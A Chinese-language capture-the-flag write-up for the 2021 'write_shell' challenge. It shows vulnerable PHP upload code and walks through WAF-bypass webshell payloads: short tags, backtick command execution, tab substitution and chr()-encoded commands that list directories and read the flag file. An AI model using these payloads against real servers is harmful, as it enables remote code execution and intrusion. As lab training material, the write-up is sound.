[红明谷CTF 2021]write_shell
打开网页,发现源代码:
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>
先输入:
/?action=pwd
发现网页回显写入文件index.php的路径:
sandbox/ae93446ce05e0cb626c6029f1a1eaef2/
连续刷新后,发现上短时间内不变,所以我们把数据写入index.php后,可以根据这个链接访问这个文件。再写入数据:
/?action=upload&data=ls
然后访问:
sandbox/ae93446ce05e0cb626c6029f1a1eaef2/
发现已经写入成功,那么只需要把木马写入index.php文件就可以从后台登录了,比如写入
<?php @eval($_POST["password"]);?>
但waf过滤了php,空格。所以不能用<?php,但php还有短标签,可以尝试使用<?= ?>代替<?php ?>,同时php会把反引号内的内容当作命令执行,使用反引号运算符```的效果与函数 shell_exec() 相同。所以我们尝试写入:
/?action=upload&data=<?=`ls%09/`?>
在正常PHP5
中,支持如下4种PHP标签:
- 通过
<?php
标签 - 通过
<?
标签 - 通过
<%
标签(默认不开启,PHP7后被移除) - 通过
<script language="php">
标签(PHP7后被移除)
References
https://www.leavesongs.com/PENETRATION/dynamic-features-and-webshell-tricks-in-php.html
输入:
/?action=pwd
发现网页回显写入文件index.php的路径:
sandbox/8262c7279f565af9dec3dbfeeb95c407/
访问路径,发现已经成功读取根目录文件:
bin boot dev etc flllllll1112222222lag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var
发现flag文件为flllllll1112222222lag,尝试再次写入:
/?action=upload&data=<?=`cat%09/flllllll1112222222lag`?>
或者:
/?action=upload&data=<?=`cat%09/f*`?>
或者:
/?action=upload&data=<?=`cat\t/*`?>
或者:
/?action=upload&data=<?=system('cat /flllllll1112222222lag')?>
但需要转一下码,输入:
/?action=upload&data=<?=system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(108).chr(108).chr(108).chr(108).chr(108).chr(108).chr(49).chr(49).chr(49).chr(50).chr(50).chr(50).chr(50).chr(50).chr(50).chr(50).chr(108).chr(97).chr(103))?>
再输入:
/?action=pwd
发现网页回显写入文件index.php的路径:
sandbox/8262c7279f565af9dec3dbfeeb95c407/
访问路径,发现flag。
References
BUU-日刷-[红明谷CTF 2021]write_shell-call_简单绕过和??